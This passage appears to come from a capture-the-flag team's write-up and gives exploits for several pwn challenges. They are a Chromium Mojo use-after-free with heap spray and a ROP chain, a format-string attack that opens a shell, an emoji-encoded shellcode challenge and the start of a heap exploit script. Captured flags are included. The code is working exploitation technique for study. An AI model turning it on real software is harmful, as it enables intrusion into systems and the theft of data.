<p>After spending lots of time spraying the heap we finally managed to reclaim the memory and was able to control the structure of <code>inner_db_ptr_</code>. This means that we&#39;re able to control not only the vtable, but also the data pointer of <code>inner_db_ptr_-&gt;queue_</code>. By controlling the queue&#39;s data pointer, <strong>we&#39;ll be able to achieve arbitrary read/write by doing <code>pop/push</code></strong>.</p>
<p>So here&#39;s our exploit plan:</p>
<ul class="list">
<li>Leak libc and text address.</li>
<li>Trigger the UAF vulnerability, let <code>inner_db_ptr_</code> become a dangling pointer.</li>
<li>Spray the heap so we can reclaim the memory buffer of <code>inner_db_ptr_</code>. Now we control the vtable and the queue&#39;s data pointer.</li>
<li>Use arbitrary write to write ROP chain to the bss section of the Chromium binary.</li>
<li>Control vtable and let it point to gadget <code>xchg rax, rsp ; ret</code>.<ul class="list">
<li>Since <code>rax</code> is controllable, we&#39;ll pivot our stack to bss section and jump to our ROP chain.</li>
</ul>
</li>
<li>Finally, hijack control flow by calling <code>getTotalSize()</code>.</li>
</ul>
<p>Here&#39;s our final exploit, some details can be found in the code comment:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">pre</span> <span class="hljs-attr">id</span>=<span class="hljs-string">'log'</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">pre</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"../mojo_bindings.js"</span>&gt;</span><span class="undefined"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"../third_party/blink/public/mojom/tstorage/tstorage.mojom.js"</span>&gt;</span><span class="undefined"></span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">print</span>(<span class="hljs-params">string</span>) </span>{
            <span class="hljs-keyword">var</span> log = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'log'</span>);
            <span class="hljs-keyword">if</span> (log) {
                log.innerText += string + <span class="hljs-string">'\n'</span>;
            }
        }
        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">hex</span>(<span class="hljs-params">data</span>) </span>{
            <span class="hljs-keyword">return</span> <span class="hljs-string">"0x"</span>+data.toString(<span class="hljs-number">16</span>);
        }

        (<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pwn</span>(<span class="hljs-params"></span>) </span>{
            print(<span class="hljs-string">"Creating TStoragePtr..."</span>);
            tsptr = <span class="hljs-keyword">new</span> blink.mojom.TStoragePtr();
            Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tsptr).handle);
            <span class="hljs-keyword">await</span> tsptr.init();
            A = [];
            B = [];
            C = [];

            <span class="hljs-comment">// B[i] will create lots of TInstance, and push it to A[i]</span>
            <span class="hljs-comment">// B[i]'s TStorage will correspond to A[i]</span>
            <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">0x100</span>;i++){
                B.push(<span class="hljs-literal">null</span>);
                B[i] = <span class="hljs-keyword">new</span> blink.mojom.TStoragePtr();
                Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(B[i]).handle);
                <span class="hljs-keyword">await</span> B[i].init();

                <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tiptrOK2</span>(<span class="hljs-params">result</span>) </span>{
                    A.push(result.instance);
                }
                <span class="hljs-keyword">await</span> B[i].createInstance().then(tiptrOK2, ERROR);
            }

            <span class="hljs-comment">// C[i] stores TInstance</span>
            <span class="hljs-comment">// Later we'll use C[i].push(value) to spray the heap</span>
            <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">0x100</span>;i++){
                <span class="hljs-keyword">let</span> tsptr2 = <span class="hljs-keyword">new</span> blink.mojom.TStoragePtr();
                Mojo.bindInterface(blink.mojom.TStorage.name, mojo.makeRequest(tsptr2).handle);
                <span class="hljs-keyword">await</span> tsptr2.init();

                <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tiptrOK2</span>(<span class="hljs-params">result</span>) </span>{
                    C.push(result.instance);
                }
                <span class="hljs-keyword">await</span> tsptr2.createInstance().then(tiptrOK2, ERROR);
            }

            <span class="hljs-comment">// Triggering UAF</span>
            <span class="hljs-comment">// Now every inner_db_ptr_ in A[i] are all dangling pointers</span>
            <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i=<span class="hljs-number">0</span>;i&lt;<span class="hljs-number">0x100</span>;i++){
                <span class="hljs-keyword">await</span> B[i].ptr.reset();
            }

            <span class="hljs-keyword">var</span> libc = <span class="hljs-literal">null</span>;
            <span class="hljs-keyword">var</span> text = <span class="hljs-literal">null</span>;
            <span class="hljs-comment">// callback for getLibcAddress</span>
            <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">libcOK</span>(<span class="hljs-params">result</span>) </span>{
                libc = result.addr;
            }
            <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ERROR</span>(<span class="hljs-params">error</span>) </span>{
                print(error.toString());
            }
            <span class="hljs-comment">// callback for getTextAddress</span>
            <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">textOK</span>(<span class="hljs-params">result</span>) </span>{
                text = result.addr;
            }

            <span class="hljs-comment">// get libc &amp; text address</span>
            <span class="hljs-keyword">await</span> tsptr.getLibcAddress().then(libcOK, ERROR);
            print(<span class="hljs-string">"libc: "</span>+hex(libc));
            <span class="hljs-keyword">await</span> tsptr.getTextAddress().then(textOK, ERROR);
            print(<span class="hljs-string">"text: "</span>+hex(text));

            <span class="hljs-comment">// create TInstance ( tiptr )</span>
            <span class="hljs-keyword">var</span> tiptr = <span class="hljs-literal">null</span>;
            <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">tiptrOK</span>(<span class="hljs-params">result</span>) </span>{
                tiptr = result.instance;
            }    
            <span class="hljs-keyword">await</span> tsptr.createInstance().then(tiptrOK, ERROR);

            bss = text+<span class="hljs-number">0x6ec71a0</span><span class="hljs-number">-0x200</span>; <span class="hljs-comment">// For storing ROP chain</span>
            cmd_buf = bss - <span class="hljs-number">0x100</span>; <span class="hljs-comment">// For storing command string</span>
            print(<span class="hljs-string">"bss: "</span>+hex(bss));

            <span class="hljs-comment">// Start spraying heap</span>
            <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> idx=<span class="hljs-number">0</span>;idx&lt;<span class="hljs-number">0x40</span>;idx++){
                <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span> ; i&lt; <span class="hljs-number">0x600</span>/<span class="hljs-number">64</span> ; i++) {
                    <span class="hljs-keyword">await</span> C[idx].push(bss); <span class="hljs-comment">// fake vtable entry</span>
                    <span class="hljs-keyword">await</span> C[idx].push(bss); <span class="hljs-comment">// arbitrary write will write to this address</span>
                    <span class="hljs-keyword">await</span> C[idx].push(<span class="hljs-number">0x414141414141</span>);
                    <span class="hljs-keyword">await</span> C[idx].push(<span class="hljs-number">0x9abc</span>);
                    <span class="hljs-keyword">await</span> C[idx].push(<span class="hljs-number">0x0</span>);
                    <span class="hljs-keyword">await</span> C[idx].push(<span class="hljs-number">0x5678</span>);
                    <span class="hljs-keyword">await</span> C[idx].push(<span class="hljs-number">0xdead</span>);
                    <span class="hljs-keyword">await</span> C[idx].push(<span class="hljs-number">0xbeef</span>);
                }
            }
            <span class="hljs-comment">// ROP gadget in chrome</span>
            base = text - <span class="hljs-number">0x39b5e60</span>;
            xchg_rax_rsp = base + <span class="hljs-number">0x0000000007fde8e4</span>;
            pop3 = base + <span class="hljs-number">0x00000000068589a5</span>;
            pop_rdi = base + <span class="hljs-number">0x0000000002e9ee1d</span>;
            pop_rax = base + <span class="hljs-number">0x0000000002d815fc</span>;
            ret = pop_rax+<span class="hljs-number">1</span>;
            mov_al_rdi_pop = base + <span class="hljs-number">0x527c945</span>;

            <span class="hljs-comment">// libc</span>
            libc_base = libc - <span class="hljs-number">0x40680</span>;
            system = libc_base + <span class="hljs-number">0x4f440</span>;

            cmd = <span class="hljs-string">"./flag_printer\x00"</span>;

            <span class="hljs-keyword">for</span>(<span class="hljs-keyword">let</span> idx=<span class="hljs-number">0</span>;idx&lt;<span class="hljs-number">0x100</span>;idx++){
                <span class="hljs-comment">// scanning string with special-pattern</span>
                <span class="hljs-keyword">let</span> res = <span class="hljs-keyword">await</span> A[idx].getInt(); 
                <span class="hljs-keyword">let</span> v = res.value;
                <span class="hljs-keyword">if</span>( v == <span class="hljs-number">0x5678</span>){
                    <span class="hljs-comment">// write ROP chain to bss</span>
                    <span class="hljs-keyword">await</span> A[idx].push(pop3);
                    <span class="hljs-keyword">await</span> A[idx].push(<span class="hljs-number">0x434343434343</span>);
                    <span class="hljs-keyword">await</span> A[idx].push(xchg_rax_rsp); <span class="hljs-comment">// vtable will jump to here </span>
                    <span class="hljs-keyword">await</span> A[idx].push(<span class="hljs-number">0x111111111111</span>);
                    <span class="hljs-comment">// Create ROP chain for copying cmd string to bss ( cmd_buf )</span>
                    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> cmd_idx = <span class="hljs-number">0</span>; cmd_idx &lt; cmd.length ; cmd_idx++) {
                        <span class="hljs-keyword">await</span> A[idx].push(pop_rdi);
                        <span class="hljs-keyword">await</span> A[idx].push(cmd_buf + cmd_idx);
                        <span class="hljs-keyword">await</span> A[idx].push(pop_rax);
                        <span class="hljs-keyword">await</span> A[idx].push(cmd.charCodeAt(cmd_idx));
                        <span class="hljs-keyword">await</span> A[idx].push(mov_al_rdi_pop);
                        <span class="hljs-keyword">await</span> A[idx].push(<span class="hljs-number">0xdeadbeef</span>); <span class="hljs-comment">// for rbp</span>
                    }
                    <span class="hljs-comment">// Final ROP. system(cmd_buf)</span>
                    <span class="hljs-keyword">await</span> A[idx].push(pop_rdi);
                    <span class="hljs-keyword">await</span> A[idx].push(cmd_buf);
                    <span class="hljs-keyword">await</span> A[idx].push(system);
                    <span class="hljs-comment">// trigger virtual function</span>
                    <span class="hljs-keyword">await</span> A[idx].getTotalSize(); <span class="hljs-comment">// will call [bss+0x10]</span>
                    <span class="hljs-keyword">break</span>;
                }    

            }

            print(<span class="hljs-string">"Done."</span>);
        })();
    </span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span></code></pre><p>The exploit will execute <code>system(&quot;./flag_printer&quot;)</code> and gave us the flag: <code>flag{029fd0ab84ea6e42a64d13b6150e1}</code></p>
<h3 id="simple-echoserver"><a class="header-link" href="#simple-echoserver"></a>simple echoserver</h3>
<ul class="list">
<li>Fmt string change rbp chain can overwrite stack.</li>
<li>Use fmt string %*d to print the count of the lower 4 bytes of main_ret address.</li>
<li>Change main_ret to one_gadget ,then get the shell.</li>
<li>need a stack lsb bruteforce &amp; (main_ret_address &amp; 0xffffffff) &lt; 0x80000000 (1/32)</li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> random
host = <span class="hljs-string">'pwnable.org'</span>
port = <span class="hljs-number">12020</span>

binary = <span class="hljs-string">"./simple_echoserver"</span>
context.binary = binary
elf = ELF(binary)

<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
  r = process([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})

<span class="hljs-keyword">else</span>:
  r = remote(host ,port)

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
  r.recvuntil(<span class="hljs-string">"name: "</span>)
  r.sendline(<span class="hljs-string">"%c"</span>*<span class="hljs-number">17</span> + <span class="hljs-string">"%"</span> + str(<span class="hljs-number">0x48</span><span class="hljs-number">-17</span><span class="hljs-number">-13</span>) + <span class="hljs-string">"c%hhn"</span> + <span class="hljs-string">"%c"</span>*<span class="hljs-number">27</span> + <span class="hljs-string">"%"</span> + str(<span class="hljs-number">0x4f322</span> - <span class="hljs-number">0x21b97</span><span class="hljs-number">-27</span><span class="hljs-number">-0x48</span>) + <span class="hljs-string">"c%*d"</span> + <span class="hljs-string">"%39$n"</span>)
  r.recvuntil(<span class="hljs-string">": "</span>)
  r.sendline(<span class="hljs-string">"A"</span>)
  print(<span class="hljs-string">"fuuuckkkkk"</span>)
  r.recvuntil(<span class="hljs-string">"ourself!\n"</span>)
  r.sendline(<span class="hljs-string">"~."</span>)
  <span class="hljs-keyword">try</span>:
    r.sendline(<span class="hljs-string">"echo AAAA"</span>)
    r.recvuntil(<span class="hljs-string">"AAAA"</span>)
  <span class="hljs-keyword">except</span>:
    r.close()
    exit()
  print(<span class="hljs-string">"shellllll"</span>)
  r.sendline(<span class="hljs-string">"ls"</span>)
  r.sendline(<span class="hljs-string">"ls /home"</span>)
  r.sendline(<span class="hljs-string">"ls /home/*"</span>)
  r.sendline(<span class="hljs-string">"cat /flag"</span>)
  r.sendline(<span class="hljs-string">"cat /f*"</span>)
  r.sendline(<span class="hljs-string">"cat /home/*/flag"</span>)
  r.sendline(<span class="hljs-string">"cat /home/*/f*"</span>)

  r.interactive()
</code></pre><p><code>flag{do_you_like_my_simple_echoserver_f1b960576af79d28}</code></p>
<h3 id="eeeeeemoji"><a class="header-link" href="#eeeeeemoji"></a>eeeeeemoji</h3>
<ul class="list">
<li>The challenge input 🍺 will use mmap to randomly generate space with rwx permissions.</li>
<li>Input 🐴, we can control mmap+0 ~ mmap+0x100 bytes, and mmap+0x200 2 bytes, then execute mmap+0x200 address.</li>
</ul>
<p>Execute shellcode registers status</p>
<pre class="hljs"><code><span class="hljs-symbol">RAX:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">RBX:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">RCX:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">RDX:</span> <span class="hljs-number">0x238200</span> --&gt; <span class="hljs-number">0x9090909090900041</span>
<span class="hljs-symbol">RSI:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">RDI:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">RBP:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">RSP:</span> <span class="hljs-number">0x7fffffff6160</span> (<span class="hljs-string">'A'</span> &lt;repeats <span class="hljs-number">200</span> times&gt;...)
<span class="hljs-symbol">RIP:</span> <span class="hljs-number">0x238200</span> --&gt; <span class="hljs-number">0x9090909090900041</span>
<span class="hljs-built_in">R8</span> : <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-built_in">R9</span> : <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">R10:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">R11:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">R12:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">R13:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">R14:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">R15:</span> <span class="hljs-number">0xdeadbeefdeadbeef</span>
<span class="hljs-symbol">EFLAGS:</span> <span class="hljs-number">0x10206</span> (carry PARITY adjust zero sign trap INTERRUPT direction overflow)</code></pre><ul class="list">
<li>2-byte Shellcode setting &quot;and esp, edx&quot;.</li>
</ul>
<p>0x7fffffff6160 &amp; 0x238200 = 0x230000 
mmap+0x230 code = add rsp,0x8000
add 0x230000,0x8000 = 0x238000</p>
<ul class="list">
<li>Probability changes rsp to mmap-0x8000, and controls the register to execute mmap+0 ~ mmap+0x100 shellcode to get the shell.</li>
</ul>
<pre class="hljs"><code>#!/usr/bin/env <span class="hljs-keyword">python3</span>
# -*- codin<span class="hljs-variable">g:</span> utf-<span class="hljs-number">8</span> -*-
from pwn import *
import sys
import time
import random
host = <span class="hljs-string">'pwnable.org'</span>
port = <span class="hljs-number">31323</span>

binary = <span class="hljs-string">"./eeeeeemoji"</span>
context.binary = binary
elf = ELF(binary)
<span class="hljs-keyword">try</span>:
  libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
  <span class="hljs-built_in">log</span>.success(<span class="hljs-string">"libc load success"</span>)
  system_off = libc.symbols.<span class="hljs-built_in">system</span>
  <span class="hljs-built_in">log</span>.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
excep<span class="hljs-variable">t:</span>
  <span class="hljs-built_in">log</span>.failure(<span class="hljs-string">"libc not found !"</span>)


<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(sys.<span class="hljs-built_in">argv</span>) == <span class="hljs-number">1</span>:
  r = process([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})

<span class="hljs-keyword">else</span>:
  r = remote(host ,port)


def convert(data,src=<span class="hljs-string">'utf8'</span>):
    <span class="hljs-keyword">if</span> src==<span class="hljs-string">'utf8'</span>:
        L = <span class="hljs-built_in">len</span>(data)
        <span class="hljs-built_in">cursor</span> = <span class="hljs-number">0</span>
        <span class="hljs-keyword">res</span> = <span class="hljs-keyword">b</span><span class="hljs-string">''</span>
        <span class="hljs-keyword">while</span> <span class="hljs-built_in">cursor</span>&lt;L:
            binstr = <span class="hljs-string">'0'</span>
            firstbyte = data[<span class="hljs-built_in">cursor</span>]
            batchsize = <span class="hljs-number">0</span>
            <span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">8</span>):
                <span class="hljs-keyword">if</span> firstbyte&amp;(<span class="hljs-number">1</span>&lt;&lt;(<span class="hljs-number">7</span>-i))==<span class="hljs-number">0</span>:
                    batchsize = i
                    <span class="hljs-keyword">break</span>
            <span class="hljs-keyword">if</span> batchsize&gt;<span class="hljs-number">6</span>:
                <span class="hljs-keyword">print</span>(<span class="hljs-string">'error'</span>)
                <span class="hljs-keyword">exit</span>()
            binstr+=bin(data[<span class="hljs-built_in">cursor</span>])[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">8</span>,<span class="hljs-string">'0'</span>)[batchsize+<span class="hljs-number">1</span>:]
            <span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>,batchsize):
                binstr+=bin(data[<span class="hljs-built_in">cursor</span>+i])[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">8</span>,<span class="hljs-string">'0'</span>)[<span class="hljs-number">2</span>:]
            num = <span class="hljs-keyword">int</span>(binstr,<span class="hljs-number">2</span>)
            <span class="hljs-keyword">res</span>+=p32(num)
            <span class="hljs-built_in">cursor</span>+=batchsize
            <span class="hljs-keyword">if</span> batchsize==<span class="hljs-number">0</span>:
                <span class="hljs-built_in">cursor</span>+=<span class="hljs-number">1</span>
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">res</span>
    elif src==<span class="hljs-string">'wchar'</span>:
        L = <span class="hljs-built_in">len</span>(data)
        <span class="hljs-keyword">res</span> = <span class="hljs-keyword">b</span><span class="hljs-string">''</span>
        <span class="hljs-keyword">if</span> L%<span class="hljs-number">4</span>!=<span class="hljs-number">0</span>:
            L+=<span class="hljs-number">4</span>-L%<span class="hljs-number">4</span>
            data = data.ljust(L,<span class="hljs-keyword">b</span><span class="hljs-string">'\x00'</span>)
        <span class="hljs-keyword">print</span>(data)
        <span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">0</span>,L,<span class="hljs-number">4</span>):
            num = u32(data[i:i+<span class="hljs-number">4</span>])
            <span class="hljs-keyword">print</span>(hex(num))
            <span class="hljs-keyword">if</span> num&lt;<span class="hljs-number">0</span>x80:
                <span class="hljs-keyword">res</span>+=p8(num)
            elif num&lt;<span class="hljs-number">0</span>x800:
                binstr = bin(num)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">11</span>,<span class="hljs-string">'0'</span>)
                <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>xc0|<span class="hljs-keyword">int</span>(binstr[:<span class="hljs-number">5</span>],<span class="hljs-number">2</span>))+p8(<span class="hljs-number">0</span>x80|<span class="hljs-keyword">int</span>(binstr[<span class="hljs-number">5</span>:],<span class="hljs-number">2</span>))
            elif num&lt;<span class="hljs-number">0</span>x10000:
                binstr = bin(num)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">16</span>,<span class="hljs-string">'0'</span>)
                <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>xe0|<span class="hljs-keyword">int</span>(binstr[:<span class="hljs-number">4</span>],<span class="hljs-number">2</span>))
                <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-built_in">range</span>(<span class="hljs-number">2</span>):
                    <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>x80|<span class="hljs-keyword">int</span>(binstr[<span class="hljs-number">4</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>:<span class="hljs-number">4</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>+<span class="hljs-number">6</span>],<span class="hljs-number">2</span>))
            elif num&lt;<span class="hljs-number">0</span>x200000:
                binstr = bin(num)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">21</span>,<span class="hljs-string">'0'</span>)
                <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>xf0|<span class="hljs-keyword">int</span>(binstr[:<span class="hljs-number">3</span>],<span class="hljs-number">2</span>))
                <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-built_in">range</span>(<span class="hljs-number">3</span>):
                    <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>x80|<span class="hljs-keyword">int</span>(binstr[<span class="hljs-number">3</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>:<span class="hljs-number">3</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>+<span class="hljs-number">6</span>],<span class="hljs-number">2</span>))
            elif num&lt;<span class="hljs-number">0</span>x4000000:
                binstr = bin(num)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">26</span>,<span class="hljs-string">'0'</span>)
                <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>xf8|<span class="hljs-keyword">int</span>(binstr[:<span class="hljs-number">2</span>],<span class="hljs-number">2</span>))
                <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-built_in">range</span>(<span class="hljs-number">4</span>):
                    <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>x80|<span class="hljs-keyword">int</span>(binstr[<span class="hljs-number">2</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>:<span class="hljs-number">2</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>+<span class="hljs-number">6</span>],<span class="hljs-number">2</span>))
            elif num&lt;<span class="hljs-number">0</span>x80000000:
                binstr = bin(num)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">31</span>,<span class="hljs-string">'0'</span>)
                <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>xfc|<span class="hljs-keyword">int</span>(binstr[:<span class="hljs-number">1</span>],<span class="hljs-number">2</span>))
                <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-built_in">range</span>(<span class="hljs-number">5</span>):
                    <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>x80|<span class="hljs-keyword">int</span>(binstr[<span class="hljs-number">1</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>:<span class="hljs-number">1</span>+<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>+<span class="hljs-number">6</span>],<span class="hljs-number">2</span>))
            <span class="hljs-keyword">else</span>:
                binstr = bin(num)[<span class="hljs-number">2</span>:].rjust(<span class="hljs-number">36</span>,<span class="hljs-string">'0'</span>)
                <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>xfe)
                <span class="hljs-keyword">for</span> <span class="hljs-keyword">j</span> in <span class="hljs-built_in">range</span>(<span class="hljs-number">6</span>):
                    <span class="hljs-keyword">res</span>+=p8(<span class="hljs-number">0</span>x80|<span class="hljs-keyword">int</span>(binstr[<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>:<span class="hljs-keyword">j</span>*<span class="hljs-number">6</span>+<span class="hljs-number">6</span>],<span class="hljs-number">2</span>))
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">res</span>


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
  <span class="hljs-keyword">print</span>(r.recvline())
  <span class="hljs-keyword">print</span>(r.recvline())
  <span class="hljs-keyword">print</span>(r.recvline())
  <span class="hljs-keyword">print</span>(r.recvline())

  <span class="hljs-keyword">while</span> <span class="hljs-number">1</span>:
    r.sendline(<span class="hljs-string">"🍺"</span>))
    <span class="hljs-keyword">print</span>(r.recvline())
    r.recvuntil(<span class="hljs-string">"@"</span>)
    data = r.recvline()
    mmap = <span class="hljs-keyword">int</span>(data[:-<span class="hljs-number">1</span>].decode(),<span class="hljs-number">16</span>)
    <span class="hljs-keyword">print</span>(<span class="hljs-string">"mmap = {}"</span>.format(hex(mmap)))
    <span class="hljs-keyword">if</span>(mmap &amp; <span class="hljs-number">0</span>x8000):
      <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">print</span>(r.recvline())
    <span class="hljs-keyword">print</span>(r.recvline())
    <span class="hljs-keyword">print</span>(r.recvline())
  <span class="hljs-keyword">print</span>(r.recvline())
  <span class="hljs-keyword">print</span>(r.recvline())
  <span class="hljs-keyword">print</span>(r.recvline())
  r.sendline(<span class="hljs-string">"🐴"</span>))
  <span class="hljs-keyword">print</span>(r.recvline())
  shellcode = convert(asm(<span class="hljs-string">"xor eax,eax"</span>) + asm(<span class="hljs-string">"add al,0"</span>),<span class="hljs-string">"wchar"</span>)
  shellcode += convert(asm(<span class="hljs-string">"xor edi,edi"</span>) + asm(<span class="hljs-string">"add al,0"</span>),<span class="hljs-string">"wchar"</span>)
  shellcode += convert(asm(<span class="hljs-string">"xor edx,edx"</span>) + asm(<span class="hljs-string">"add al,0"</span>),<span class="hljs-string">"wchar"</span>)
  shellcode += convert(asm(<span class="hljs-string">"add dh,cl"</span>) + asm(<span class="hljs-string">"add al,0"</span>),<span class="hljs-string">"wchar"</span>)
  shellcode += convert(asm(<span class="hljs-string">"syscall"</span>) + asm(<span class="hljs-string">"add al,0"</span>),<span class="hljs-string">"wchar"</span>)
  r.sendline((convert(p32(mmap+<span class="hljs-number">0</span>x88),<span class="hljs-string">"wchar"</span>) + convert(p32(<span class="hljs-number">0</span>),<span class="hljs-string">"wchar"</span>))*<span class="hljs-number">0</span>x11 + convert(p32(mmap+<span class="hljs-number">0</span>x90),<span class="hljs-string">"wchar"</span>) + convert(p32(<span class="hljs-number">0</span>),<span class="hljs-string">"wchar"</span>)  + shellcode  +convert(p32(<span class="hljs-number">0</span>x7fffffff),<span class="hljs-string">"wchar"</span>)*<span class="hljs-number">0</span>x57 + convert(p32(<span class="hljs-number">0</span>xd421),<span class="hljs-string">"wchar"</span>)*<span class="hljs-number">10</span>)

  r.sendline(<span class="hljs-keyword">b</span><span class="hljs-string">"\x90"</span>*<span class="hljs-number">0</span>x50 + asm(shellcraft.<span class="hljs-keyword">sh</span>()))
  time.<span class="hljs-keyword">sleep</span>(<span class="hljs-number">0.3</span>)
  r.sendline(<span class="hljs-keyword">b</span><span class="hljs-string">"ls"</span>)
  r.interactive()

</code></pre><p><code>flag{thanks_Plaid_CTF_we_found_th1s}</code></p>
<h3 id="duet"><a class="header-link" href="#duet"></a>Duet</h3>
<ul class="list">
<li>Option 5 can calloc 0x88 and input 1 byte overflow.</li>
<li>Heap overlap will leak libc &amp; heap.</li>
<li>Largebin attack global_max_fast.</li>
<li>Fastbin attack stdout to get stdout buffer (stdout flag is 0x000000fbxxxxxx, so 0x000000fb can use to be fastbin size).</li>
<li>Change puts stdout vtable to _IO_wfile_sync, and contorl rip &amp; rdi.</li>
<li>Jump magic and setcontext to call mprotect, and finally execute shellcode.</li>
</ul>
<pre class="hljs"><code>#!/usr/bin/env python
# -*- coding: utf<span class="hljs-number">-8</span> -*-
from pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> <span class="hljs-built_in">random</span>
host = <span class="hljs-string">'pwnable.org'</span>
port = <span class="hljs-number">12356</span>

binary = <span class="hljs-string">"./duet"</span>
context.binary = binary
elf = ELF(binary)
<span class="hljs-built_in">try</span>:
  libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
  log.success(<span class="hljs-string">"libc load success"</span>)
  system_off = libc.symbols.system
  log.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
except:
